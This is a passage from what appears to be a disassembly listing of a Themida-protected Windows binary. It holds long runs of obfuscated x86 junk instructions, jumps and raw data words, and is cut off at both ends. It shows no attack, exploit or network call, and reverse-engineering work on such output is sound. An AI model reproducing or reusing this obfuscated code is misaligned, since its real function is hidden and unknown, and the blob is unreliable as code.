ecx mov ecx, 0CD3E03D1h sub esi, ecx mov ecx, [esp] add esp, 4 push eax mov eax, 453A1C32h not eax shr eax, 8 add eax, 28DF7817h inc eax shr eax, 5 jmp loc_566AF1 ; --------------------------------------------------------------------------- loc_5632CF: ; CODE XREF: Themida_:0055549Ej pop esp mov [esp], edi push 369061EBh push dword ptr [esp] mov edi, [esp] jmp loc_559739 ; --------------------------------------------------------------------------- loc_5632E3: ; CODE XREF: Themida_:00557262j push edx mov edx, 29654107h mov esi, edx push dword ptr [esp] jmp loc_56253C ; --------------------------------------------------------------------------- loc_5632F3: ; CODE XREF: Themida_:0055FD61j push 3E1B34A7h mov edx, [esp] add esp, 4 sub dword ptr [esp+4], 1AC16DB6h jmp loc_560794 ; --------------------------------------------------------------------------- db 5Ch dd 448FBD55h, 71E959AFh db 0EAh, 2 dup(0FFh) byte_563317 db 66h ; DATA XREF: Themida_:00552A7Co dd 0F17E9ADh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56331E: ; CODE XREF: Themida_:00559EE1j pop ebx jmp loc_567623 ; --------------------------------------------------------------------------- dd 485E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56332A: ; CODE XREF: Themida_:0055C62Aj mov [esp], esi push edx mov edx, 12806B88h inc edx xor edx, 5FCA42C8h xor edx, 2E8C19E5h mov esi, edx jmp loc_565B37 ; --------------------------------------------------------------------------- db 2Dh dd 211A3857h, 52BE565Eh, 8159D443h, 2D2FDCCEh, 0E6C6813Bh dd 0F75D5C14h, 2303E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563366: ; CODE XREF: Themida_:0055CE68j add eax, 1B1905F1h jmp loc_55D8E0 ; --------------------------------------------------------------------------- loc_563370: ; CODE XREF: Themida_:00565FD0j add edx, 123E3F63h mov eax, [esp] add esp, 4 sub edx, ebx sub edx, 6B9F2CD5h pop ebx jmp loc_560D58 ; --------------------------------------------------------------------------- dw 0C520h dd 24048B66h, 8002C483h, 0E5C03DE5h, 53536603h, 0C381E389h dd 4, 4EB81h, 1C870000h, 24248B24h, 0B2241489h, 17A6E913h dd 1489FFFFh, 2E39BA24h, 0E2C1058Eh, 8A7DE902h, 4FFFFFFh dd 0FE49E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5633D2: ; CODE XREF: Themida_:0055DB0Dj sub esp, 4 mov [esp], eax mov eax, 3F7A7C19h add esi, eax pop eax jmp loc_556199 ; --------------------------------------------------------------------------- dd 0DA30A805h, 68555F57h, 5220424Fh, 7EDC15Dh, 1E12E945h dd 0BD550000h, 26B86286h, 8108E5C1h, 0C07013C5h, 2E4FE934h dd 4890000h, 9F86824h, 24890000h, 24048124h, 4, 0FFB978E9h dd 34FF5CFFh, 24048B24h, 0FF3EB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_563435: ; CODE XREF: Themida_:0055336Aj mov [esp], edi push eax pop edi push eax mov eax, edi push edi mov edi, eax mov ebp, edi pop edi pop eax jmp loc_55BDA2 ; --------------------------------------------------------------------------- db 2Dh, 0C2h, 5Ch dd 0BA525D30h, 19837DB6h, 1240EA81h, 0D0019E69h, 8324148Bh dd 0F5E904C4h, 0BA00004Bh, 7FD01C95h, 3F0CE942h, 0BD660000h dd 0F766592Dh, 468CE9D5h, 7EBFFFFFh, 683F690Fh, 0 dd 5F243C29h, 321CE9h, 0E9536600h, 0FFFF1306h ; --------------------------------------------------------------------------- loc_563498: ; CODE XREF: Themida_:0055368Dj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop ebx not ebx push eax push ebx push dword ptr [esp] jmp loc_56457C ; --------------------------------------------------------------------------- dw 5E58h dword_5634B4 dd 0FEFAACE9h ; DATA XREF: Themida_:005627B8o db 0FFh ; --------------------------------------------------------------------------- loc_5634B9: ; CODE XREF: Themida_:0055E6EDj pop ebx sub ecx, ebp sub ecx, 5CCE3315h pop ebp and eax, ecx jmp loc_561F81 ; --------------------------------------------------------------------------- loc_5634CA: ; CODE XREF: Themida_:005628CFj mov [esp], esi jmp loc_55EFE5 ; --------------------------------------------------------------------------- loc_5634D2: ; CODE XREF: Themida_:0055E31Fj mov esp, [esp] and eax, esi jmp loc_567A2A ; --------------------------------------------------------------------------- aPirrsg db 'P┴ЮRИG&',0 dd 8BDF2900h, 0C481241Ch, 4, 0FF6924E9h db 0FFh ; --------------------------------------------------------------------------- loc_5634F5: ; CODE XREF: Themida_:0055448Aj mov esp, [esp] push dword ptr [edi+eax*4] mov eax, [esp] push 4B00h mov [esp], esi mov esi, esp add esi, 4 push edi jmp loc_56628E ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 28E92424h, 8100001Fh dd 0DA3EC6C7h, 5FF889ECh, 48BC329h, 4C48324h, 0E9008F66h dd 0FFFEF677h, 8B24048Fh, 3CD32424h, 58E99C24h, 81FFFF3Ah dd 0AA2AAFE2h, 30EA8151h, 0E90E9E73h, 0FFFFAF58h, 1354ED81h dd 1168AD5Ch, 0E9000014h, 0FFFF11ECh, 4EE81h, 34870000h dd 0C895C24h, 3A60E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563586: ; CODE XREF: Themida_:00565C1Ej push edi xchg ebp, [esp] xor ebp, edi xor edi, ebp xor ebp, edi not edi xchg edi, ebp xchg ebp, [esp] mov edi, [esp] jmp loc_563727 ; --------------------------------------------------------------------------- align 10h dd 0D757E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635A6: ; CODE XREF: Themida_:00553ED5j add esp, 4 jmp loc_566D1B ; --------------------------------------------------------------------------- loc_5635AE: ; CODE XREF: Themida_:0055C5ABj mov eax, [esp] add esp, 4 add edx, 0A2030101h and eax, edx pop edx shr eax, 0Eh jmp loc_55365B ; --------------------------------------------------------------------------- loc_5635C8: ; CODE XREF: Themida_:00559FAEj sub ebx, esi mov esi, [esp] add esp, 4 push ebx jmp loc_56228E ; --------------------------------------------------------------------------- dw 0BE56h dd 4E2735FFh, 35FDB951h, 0CD894E27h, 0E9F53159h, 925h ; --------------------------------------------------------------------------- loc_5635EC: ; CODE XREF: Themida_:0055CB56j push 24C44E63h pop ecx jmp loc_5620AA ; --------------------------------------------------------------------------- db 5Ah dd 4306E3C1h, 2BE7C381h, 0DF897F4Bh, 190AE95Bh, 0CA81FFFFh dd 23362600h, 70BCA81h, 4E94366h, 81FFFFA4h, 3575D7EDh dd 7ED8173h, 5B03736Ah, 0FFEB39E9h db 0FFh ; --------------------------------------------------------------------------- loc_56362D: ; CODE XREF: Themida_:00557847j push edi mov edi, 0AFE5E84h jmp loc_552D7B ; --------------------------------------------------------------------------- loc_563638: ; CODE XREF: Themida_:0055E405j push ebx mov ebx, 24416AEEh jmp loc_564AA9 ; --------------------------------------------------------------------------- db 5Bh dd 8B243487h, 34FF2424h, 2434FF24h, 0F484E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563656: ; CODE XREF: Themida_:0055B3E2j mov esp, [esp] jmp loc_55C669 ; --------------------------------------------------------------------------- dw 6855h dd 7E974C6Ch, 68ED815Dh, 0E97E974Ch, 0FFFF1361h, 4C481h dd 0E9550000h, 0FFFF49E9h, 8704EB83h, 895C241Ch, 7CBA2414h dd 81038739h, 0F01DCCE2h, 0D0BE562Dh, 814B957Fh, 2AF6EAh dd 4B5EE979h, 3C330000h, 29F4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5636AA: ; CODE XREF: Themida_:00561963j sub esp, 4 jmp loc_567D17 ; --------------------------------------------------------------------------- loc_5636B5: ; CODE XREF: Themida_:005576D6j mov eax, [esp] sub esp, 4 mov [esp], ebp jmp loc_55F760 ; --------------------------------------------------------------------------- db 57h dd 0E950E789h, 0FFFF66C2h ; --------------------------------------------------------------------------- loc_5636CC: ; CODE XREF: Themida_:00566071j push ebx push edi push 5DB5728Ch pop edi and edi, 725F1513h not edi add edi, 0AF8F69C3h push edi mov ebx, [esp] add esp, 4 pop edi neg ebx jmp loc_55ADC6 ; --------------------------------------------------------------------------- dd 0D3C68058h, 2865C580h, 65ED80F5h, 24148B66h, 0FFF83AE9h db 0FFh ; --------------------------------------------------------------------------- loc_563709: ; CODE XREF: Themida_:00563AF4j push ecx mov ecx, 649D4CFAh sub ecx, 775E39A5h jmp loc_559616 ; --------------------------------------------------------------------------- dw 51B2h dd 0FF33DDE9h, 0B9E95FFFh db 0FAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563727: ; CODE XREF: Themida_:0056359Aj add esp, 4 jmp loc_567837 ; --------------------------------------------------------------------------- dw 2DBEh dd 46389E05h, 0EE81DEF7h, 9C554BACh, 59EDC581h, 0C5811853h dd 7E443C45h, 0ED81F529h, 7E443C45h, 59EDED81h, 815E1853h dd 0A90298C1h, 81E92920h, 0A90298E9h, 0C335D20h, 240C3124h dd 5C240C33h, 0FF9748E9h db 0FFh ; --------------------------------------------------------------------------- loc_563779: ; CODE XREF: Themida_:00553B35j shr ebx, 6 shr ebx, 4 neg ebx add ebx, 28A690Eh mov ecx, ebx jmp loc_565363 ; --------------------------------------------------------------------------- dw 0D9F7h dd 0BEE9D9F7h, 81000037h, 0A72ECFEAh, 0E9CA297Ah, 0FFFFC5E8h ; --------------------------------------------------------------------------- loc_5637A4: ; CODE XREF: Themida_:0055D575j sub edi, 59F15C58h jmp loc_5561A0 ; --------------------------------------------------------------------------- db 58h dd 405h, 736FE900h, 0D3F7FFFFh, 87F3F381h, 0DA018763h dd 0C6A7E95Bh, 0FD88FFFFh, 0EB88585Bh, 50240C8Bh, 405E089h dd 5000000h, 4, 0E9240487h, 0FFFEF531h ; --------------------------------------------------------------------------- loc_5637E8: ; CODE XREF: Themida_:00552C67j mov eax, 3CFB0206h sub eax, 0F90BC9C9h sub esi, 5D907104h add esi, 1344521Fh add esi, eax sub esi, 1344521Fh jmp loc_5552F7 ; --------------------------------------------------------------------------- db 87h dd 60E9241Ch, 81FFFF82h, 2E7564EAh, 33F28169h, 167EAE5h dd 0F69FE9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563826: ; CODE XREF: Themida_:0055BDBEj add esp, 4 jmp loc_560945 ; --------------------------------------------------------------------------- loc_563831: ; CODE XREF: Themida_:0055B296j add ecx, 0FFFFFFFFh sub ecx, 0C2C579A8h jmp loc_559FFF ; --------------------------------------------------------------------------- loc_56383F: ; CODE XREF: Themida_:0055E9F1j pop eax jmp loc_55980F ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF99F7E9h db 0FFh byte_56384D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B3Co aS4_0 db '$И+4',0 align 2 dw 60E9h dd 0FFFFFEF3h, 0E95E2434h, 0FFFFA470h ; --------------------------------------------------------------------------- loc_563864: ; CODE XREF: Themida_:0055C540j push dword ptr [esp+4] pop ecx jmp loc_5640F2 ; --------------------------------------------------------------------------- loc_56386E: ; CODE XREF: Themida_:005591A0j push 627Ch mov [esp], ebx push 5695045Ah mov ebx, [esp] jmp loc_560D10 ; --------------------------------------------------------------------------- byte_563883 db 0FFh ; DATA XREF: Themida_:00552A84o dd 30E94077h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56388B: ; CODE XREF: Themida_:005654E2j shl edx, 4 jmp loc_55953A ; --------------------------------------------------------------------------- db 5Dh dd 1C8BD801h, 4C48124h, 55000000h, 0FFBC14E9h db 0FFh ; --------------------------------------------------------------------------- loc_5638A5: ; CODE XREF: Themida_:005571BDj pop esp mov [esp], esi jmp loc_562AA3 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 0FFE01BE9h, 535157FFh, 0FFD992E9h db 0FFh ; --------------------------------------------------------------------------- loc_5638C1: ; CODE XREF: Themida_:00566760j pop esp pop ecx push esi mov esi, 3754630Ch shl esi, 2 push ebp mov ebp, 7EBD2E26h or ebp, 36D34ADh sub ebp, 337E3C8h sub esi, ebp pop ebp push eax jmp loc_553480 ; --------------------------------------------------------------------------- db 0BFh dd 2C913FF3h, 15FF929h, 3A6AE9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5638F6: ; CODE XREF: Themida_:0055A444j pop ecx jmp loc_5532EC ; --------------------------------------------------------------------------- dd 0C223F281h, 0D3319D2Eh, 9C9E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56390A: ; CODE XREF: Themida_:00554C31j dec esi jmp loc_55E41A ; --------------------------------------------------------------------------- dd 24048B5Dh, 6604C483h, 66576642h, 0E9507BBFh, 0FFFF929Fh dword_563924 dd 0E9028F66h, 0FFFEF28Fh ; DATA XREF: Themida_:00552AB0o ; --------------------------------------------------------------------------- loc_56392C: ; CODE XREF: Themida_:00559DBEj add eax, 671D18A4h jmp loc_557C91 ; --------------------------------------------------------------------------- loc_563936: ; CODE XREF: Themida_:005671EAj pop esi add eax, edx push ebp mov ebp, 0B368D1h add ebp, 0FFD6A56Dh sub eax, ebp pop ebp jmp loc_5558B0 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 240C895Ch, 0BE2B99B9h, 6E9C145h, 0E908E9C1h, 1678h dd 3E24EA81h, 0D789FFC2h, 0C5E7815Ah, 817EA912h, 5AF2CEEFh dd 677FE99Ch, 1C89FFFFh, 46824h, 15B0000h, 14875BDAh, 0EC835C24h dd 846BE904h, 0D9F7FFFFh, 56E9D1F7h, 29FFFFE1h, 243C8BF8h dd 81E28952h, 4C2h, 5BC4E900h, 0F781FFFFh, 0C65A56F1h dd 25D7E9h db 0 ; --------------------------------------------------------------------------- loc_5639BD: ; CODE XREF: Themida_:00559059j mov edi, [esp] sub esp, 4 mov [esp], ebp jmp loc_553A8A ; --------------------------------------------------------------------------- loc_5639CB: ; CODE XREF: Themida_:0055B531j xor edi, 2CE63723h jmp loc_558F98 ; --------------------------------------------------------------------------- a__1s94 db '╬__╢1И94',0 align 10h dd 2474FF52h, 48F5A04h, 0EC815C24h, 4, 81242489h, 42404h dd 48F0000h, 24048324h, 139CE904h, 2C89FFFFh, 3B74E924h dd 0EC20FFFFh, 7686659h, 14896619h, 0E968B224h, 4466h ; --------------------------------------------------------------------------- loc_563A20: ; CODE XREF: Themida_:0055CC20j add ebp, esi mov esi, [esp] jmp loc_56682E ; --------------------------------------------------------------------------- loc_563A2A: ; CODE XREF: Themida_:00568117j push ecx mov ecx, 4 jmp loc_564A72 ; --------------------------------------------------------------------------- loc_563A35: ; CODE XREF: Themida_:00556B21j push eax mov eax, 5BC2098Ah jmp loc_566F4F ; --------------------------------------------------------------------------- dd 0B913C281h, 0D0318B64h, 5A2434FFh, 4C481h, 71E90000h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563A57: ; CODE XREF: Themida_:00560591j add eax, ebp pop ebp jmp loc_563202 ; --------------------------------------------------------------------------- loc_563A5F: ; CODE XREF: Themida_:00558EACj pop edx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] shr ecx, 0 or eax, eax jz loc_565A5A push 94Bh mov [esp], esi jmp loc_5594B6 ; --------------------------------------------------------------------------- dw 0C131h dd 8108E9C1h, 0D1255CE1h, 0ADABE957h, 0D2F7FFFFh, 5615EA81h dd 0B951DA51h, 18D408A3h, 0E959C829h, 0FFFF803Bh ; --------------------------------------------------------------------------- loc_563AB0: ; CODE XREF: Themida_:0055FCD5j pop esp push 44B3h mov [esp], ebx mov ebx, 3E3224D3h and ebx, 2DB1538Dh and ebx, 39D22D3Bh sub ebx, 0B9DBB548h add edx, ebx jmp loc_562557 ; --------------------------------------------------------------------------- loc_563AD7: ; CODE XREF: Themida_:005644C4j xor ecx, 1DA21147h pop eax pop ebx jmp loc_55CB95 ; --------------------------------------------------------------------------- dd 0E9602ABDh, 95D1E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AEE: ; CODE XREF: Themida_:00563244j mov esi, 2AD6364Eh push ebx jmp loc_563709 ; --------------------------------------------------------------------------- aFufbQfFbQS6 db 'fUf│,$}qf^f│ф}q]И6(',0 align 2 loc_563B0E: ; CODE XREF: Themida_:005624C8j mov edx, 3FD20391h jmp loc_559894 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5569BE ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF0DB7h, 455EF531h, 765CD81h, 0F5816047h, 5AC40A67h dd 44D6E955h, 0C481FFFFh, 2, 66C50966h, 0F5816658h, 57530F26h dd 41266866h, 4F665F66h, 0D6C78166h, 0FB89661Bh, 6064E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B6A: ; CODE XREF: Themida_:00567EE1j pop dword ptr [esp] mov esp, [esp] jmp loc_563CBA ; --------------------------------------------------------------------------- db 58h, 0E9h, 0DFh dd 51FFFFAAh, 693A31B9h, 5AA4BE73h, 0E6C112E1h, 0F810E906h db 0FEh, 0FFh word_563B8E dw 8B66h ; DATA XREF: Themida_:005528E0o dd 74E9240Ch, 5DFFFFAFh, 0FF7DCDE9h, 0C38143FFh, 2441003h dd 875BDD01h, 248B242Ch, 2B8E924h, 0C6810000h, 8304A49h dd 1924EE81h, 0F229DE9Dh, 0F9C7E95Eh, 0C481FFFEh, 4, 483A6853h dd 8F540000h, 4832404h, 34FF0424h, 241C8B24h, 0FF2496E9h dd 148B58FFh, 4C48124h, 0E9000000h, 187Bh, 7E78C781h, 0FA017BDCh dd 83243C8Bh, 0C28304C4h, 24148704h, 0FC0095Ch, 23D884h dd 4CFB6800h, 14890000h, 4EC8124h, 0E9000000h, 0FFFF289Fh dd 100AE95Ch db 2 dup(0) word_563C2A dw 52ADh ; DATA XREF: Themida_:00552B20o dd 0D238D6BAh, 8BD02927h, 0C4832414h, 0EFBE5604h, 2D214121h dd 69B96A12h, 0BD55F029h, 3774C99h, 1BCEBA52h, 7E95968h dd 8BFFFF15h, 8952241Ch, 0E852E9E2h, 4A4AFFFFh, 8103E2C1h dd 9E75A9C2h, 4EC8319h, 0E9243C89h, 0FFFF7C23h ; --------------------------------------------------------------------------- loc_563C78: ; CODE XREF: Themida_:005622D3j mov ebx, eax jmp loc_557B83 ; --------------------------------------------------------------------------- db 83h dd 1C8704EBh, 14895C24h, 46016824h, 24890000h, 24048124h dd 4, 8324148Bh, 835304C4h, 3C8904ECh, 0C411E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563CAA: ; CODE XREF: Themida_:00558772j not dl push ax mov ah, 0A2h add dl, ah pop ax push ebx jmp loc_560DBE ; --------------------------------------------------------------------------- loc_563CBA: ; CODE XREF: Themida_:00563B70j sub esp, 4 jmp loc_55D162 ; --------------------------------------------------------------------------- dw 0CE01h dd 0D7CC681h, 34FF0CD4h, 89575924h, 4C781E7h, 83000000h dd 3C8704C7h, 0D6015C24h, 6CC7BA52h, 0B8E938E4h, 81FFFF17h dd 0AB04246Ch, 8B6F7175h, 0C4832414h, 0EEBDE904h, 0B450FFFEh dd 80DCF6C3h, 0CC80A7E4h, 0FED4F6ECh, 22EC80CCh, 8358E300h dd 48904ECh, 51D88824h, 0CA88C188h, 24048B59h, 81E38953h dd 4C3h, 4C38100h, 33000000h, 1C31241Ch, 241C3324h, 0E924248Bh dd 0E3Eh ; --------------------------------------------------------------------------- loc_563D44: ; CODE XREF: Themida_:00567E98j pop edi jmp loc_552BBB ; --------------------------------------------------------------------------- loc_563D4A: ; CODE XREF: Themida_:0055B754j add esp, 4 shr eax, 18h xor eax, ecx push 42E0h mov [esp], eax push 12F5h mov [esp], eax push dword ptr [esp+4] mov eax, [esp] jmp loc_5647CC ; --------------------------------------------------------------------------- word_563D6E dw 6664h ; DATA XREF: Themida_:005529E0o dd 6866028Bh, 89666FF1h, 3CE92404h, 5FFFFEEEh, 2B850h dd 0C2010000h, 4EC8358h, 3EE5E9h, 47F38100h, 0F7651B3Bh dd 47EB81DBh, 4B2A411Ch, 2630C381h, 0F3812E7Ch, 16D9D393h dd 23EDC581h, 0DD29080Eh, 23EDED81h, 815B080Eh, 102486EDh dd 2434FF18h, 83243C8Bh, 0C48104C4h, 4, 8B242C87h, 8B662424h dd 50682404h, 89000030h, 0E389241Ch, 28F568h, 24348900h dd 0E4BA5255h, 4A05C153h, 0D9F7CA87h, 3FE9CA87h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563DFF: ; CODE XREF: Themida_:00553ECDj add esp, 4 and ecx, eax push dword ptr [esp] mov eax, [esp] jmp loc_567DE0 ; --------------------------------------------------------------------------- dw 0BB53h dd 469B0AEAh, 815BD989h, 672D6FF1h, 0F968E97Ch, 1C87FFFFh dd 34FF5C24h, 7C2CE924h, 1C89FFFFh, 343BB24h, 0F3810594h dd 2E2A5230h, 4F45BA52h, 0CE958F5h, 89FFFF6Ch, 0F1FCE9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E52: ; CODE XREF: Themida_:005619D3j xor eax, ebp mov ebp, [esp] add esp, 4 push 3BB5h mov [esp], ebp jmp loc_559C77 ; --------------------------------------------------------------------------- dd offset loc_405B66+2 dw 8900h dd 10BA2414h, 0E95CA671h, 0FFFEEFC7h, 3AE8E955h, 74FF0000h dd 34FF0424h, 16E95A24h db 38h, 2 dup(0) byte_563E8F db 68h ; DATA XREF: Themida_:00552AC0o dd 22F1h, 3FADE9h, 0C4835A00h, 0D60BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563EA2: ; CODE XREF: Themida_:00560455j push ebp push ebx pop ebp pop ebx jmp loc_557CF7 ; --------------------------------------------------------------------------- byte_563EAB db 66h ; DATA XREF: Themida_:00552970o dd 6824048Bh, 2837h, 0E9242C89h, 0FFFF6DE3h, 1FC7E281h dd 80E96DB7h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563EC7: ; CODE XREF: Themida_:005569CBj mov ecx, 3BF236FEh sub esp, 4 mov [esp], ebx jmp loc_555CDD ; --------------------------------------------------------------------------- loc_563EDA: ; CODE XREF: Themida_:00553665j not dword ptr [esp] jmp loc_556380 ; --------------------------------------------------------------------------- dw 295Bh dd 240C8BCEh, 0FFBCA6E9h db 0FFh ; --------------------------------------------------------------------------- loc_563EED: ; CODE XREF: Themida_:00554626j sub ch, 9Ah sub ch, bh add ch, 9Ah jmp loc_5539C6 ; --------------------------------------------------------------------------- loc_563EFA: ; CODE XREF: Themida_:00567E10j mov al, bl pop ebx jmp loc_56630A ; --------------------------------------------------------------------------- dw 0E228h dd 0FEFCB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_563F09: ; CODE XREF: Themida_:00562F09j shl edx, 8 jmp loc_55EFB6 ; --------------------------------------------------------------------------- db 5Eh, 1, 0E8h dd 5D2434FFh, 0FF0D3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_563F1D: ; CODE XREF: Themida_:0056032Dj xor ebx, 21047C51h push 154Ah jmp loc_557886 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 8B04C483h, 0C4812414h, 4, 0FFFEE5E9h db 0FFh byte_563F41 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:00552B54o dd 0EC71E99Ch, 5D54FFFEh, 0FF9B24E9h db 0FFh ; --------------------------------------------------------------------------- loc_563F51: ; CODE XREF: Themida_:005558C7j push ebx jmp loc_5600A8 ; --------------------------------------------------------------------------- db 29h dd 0EC835AD1h, 24348904h, 122E5468h, 0DEF75E7Ah, 9D9EF681h dd 7E9626Dh, 54FFFF71h, 7C7E9h db 0 ; --------------------------------------------------------------------------- loc_563F79: ; CODE XREF: Themida_:0055DE1Bj push dword ptr [esp] pop edx add esp, 4 add ecx, 5AB12CC5h sub ecx, esi sub ecx, 5AB12CC5h pop esi or ecx, 11271486h not ecx dec ecx shl ecx, 8 push ebx jmp loc_554BC6 ; --------------------------------------------------------------------------- db 0E9h, 15h, 0ECh dd 8850FFFEh, 0E9D0F6F0h, 2627h, 8904EC83h, 0EC81241Ch dd 4, 55242489h, 4BDh, 246C0100h, 0D208E904h, 0EFC1FFFFh dd 0A2C78106h, 1FE7E74h, 0FDA1E9FAh, 0F031FFFFh, 3481505Eh dd 91744524h, 85E95A63h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563FEF: ; CODE XREF: Themida_:00559C9Aj add esi, 4 add esi, 4 xchg esi, [esp] pop esp or eax, eax jz loc_55ABBA push dword ptr [edi+1Ch] sub esp, 4 mov [esp], eax mov eax, 2A3170EAh push esi mov esi, 1393498Ah jmp loc_565A89 ; --------------------------------------------------------------------------- loc_56401D: ; CODE XREF: Themida_:00563142j pop eax add esp, 4 push eax mov ah, 53h or cl, ah mov eax, [esp] add esp, 4 push eax mov al, 0B7h neg al xor al, 48h add cl, al pop eax inc cl sub cl, 8Fh sub al, 9Dh sub al, 33h jmp loc_55EC95 ; --------------------------------------------------------------------------- loc_564047: ; CODE XREF: Themida_:00560183j pop esp push ebp jmp loc_567138 ; --------------------------------------------------------------------------- dw 0EE81h dd 58B578C8h, 7E84BB53h, 0DE297D73h, 71BB535Bh, 0F776BD29h dd 34F5E9DBh, 5D59FFFFh, 12A5E9h, 19E95F00h, 8BFFFFAFh dd 0C483241Ch, 24048F04h, 0FF9ABEE9h, 67E957FFh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56408B: ; CODE XREF: Themida_:00565344j mov ecx, 289D338Fh shl ecx, 7 inc ecx sub ecx, 4E99C77Dh push esi mov esi, ecx mov edx, esi pop esi pop ecx add eax, edx pop edx xchg eax, [esp] mov esp, [esp] push edi mov edi, 1 sub edx, edi pop edi push 628Ch jmp loc_565C2F ; --------------------------------------------------------------------------- db 68h, 0DCh, 1Eh dd 4890000h, 2C815624h, 2F2DD924h, 8C8FE933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640D2: ; CODE XREF: Themida_:00557B1Bj mov ebp, esp add ebp, 4 jmp loc_55903D ; --------------------------------------------------------------------------- db 83h dd 1AE904ECh db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640E7: ; CODE XREF: Themida_:0055AE07j xchg esi, [esp] mov esp, [esp] jmp loc_557B15 ; --------------------------------------------------------------------------- loc_5640F2: ; CODE XREF: Themida_:00563869j pop dword ptr [esp] pop esp jmp loc_5624F5 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 51D7F604h, 0E953FD88h, 9BCh, 1A385705h dd 0E9F00121h, 0FFFFF22Fh ; --------------------------------------------------------------------------- loc_564118: ; CODE XREF: Themida_:00566BA4j sub ebp, 7F7CFF5Ch add eax, ebp mov ebp, [esp] jmp loc_564A27 ; --------------------------------------------------------------------------- loc_564128: ; CODE XREF: Themida_:0056636Ej pop ebx xor eax, 69A72B63h sub eax, 344E876Eh sub esp, 4 mov [esp], ebx mov ebx, 20h push esi push 368670E8h pop esi add ebx, esi pop esi push edx mov edx, 2CFE432Eh inc edx shl edx, 5 jmp loc_56539B ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 2EC8304h, 24148966h, 147568h, 241C8900h dd 0EB8063B3h, 0D4B65213h, 0FF3387E9h db 0FFh ; --------------------------------------------------------------------------- loc_564179: ; CODE XREF: Themida_:005620D1j push ecx mov ecx, 71C044F0h add [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] push eax push esp jmp loc_562B00 ; --------------------------------------------------------------------------- loc_564196: ; CODE XREF: Themida_:00564628j push dword ptr [esp] jmp loc_5601AB ; --------------------------------------------------------------------------- dw 0E589h dd 0FF8971E9h, 0F74B43FFh, 10EB81DBh, 535AA70Eh, 95242C81h dd 5E00B20Eh, 0E95C681h, 0E95B00B2h, 0FFFF169Bh, 362D68h dd 24148900h, 0C281E289h, 4, 4C281h, 0EC810000h, 4, 0FF241489h dd 5A042474h, 8B24048Fh, 0C8E92424h db 0E9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5641F3: ; CODE XREF: Themida_:0055D649j add ebp, esi sub ebp, 635C42A6h pop esi add ebp, 4 push ebp jmp loc_56736A ; --------------------------------------------------------------------------- loc_564208: ; CODE XREF: Themida_:00557758j push esi mov esi, 4 jmp loc_558856 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 4815504h, 0BF53A024h, 24348B43h, 4C481h dd 0EE810000h, 43BF53A0h, 0FF135AE9h, 575E68FFh, 0E90000h dd 0B8FFFFDAh, 241A4C0Eh, 10063105h, 0A374E926h, 0EC83FFFFh dd 0E4F4E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564256: ; CODE XREF: Themida_:005659E6j push 7D085CDFh pop ecx add ebx, 57F613F9h add ebx, ecx sub ebx, 57F613F9h jmp loc_55E128 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 8033B450h, 0EC80EAC4h, 58E1305Ch, 0FFEDB5E9h dd 59CA00FFh, 0C0C9B050h, 0D0F604E0h, 592C6004h, 8858C200h dd 0F1805AD1h, 59CA888Dh, 0BEEA80h, 0FBE953EAh, 0C0000027h dd 0C0FE08E8h, 0C0FEC62Ch, 2EC81h, 89660000h, 8850241Ch dd 58E788CCh, 5FF4E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642CE: ; CODE XREF: Themida_:00556915j jmp loc_552BBB ; --------------------------------------------------------------------------- db 29h dd 0C6015BDEh, 0FF5E1AE9h, 545CBFFFh, 0C9E93B81h, 81FFFEEEh dd 57CB2434h, 0AE9201Bh, 89FFFFC1h, 0C6015AD0h, 5585E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642FE: ; CODE XREF: Themida_:0055E24Aj pop ebp jmp loc_55AE35 ; --------------------------------------------------------------------------- loc_564304: ; CODE XREF: Themida_:0055581Fj push edi jmp 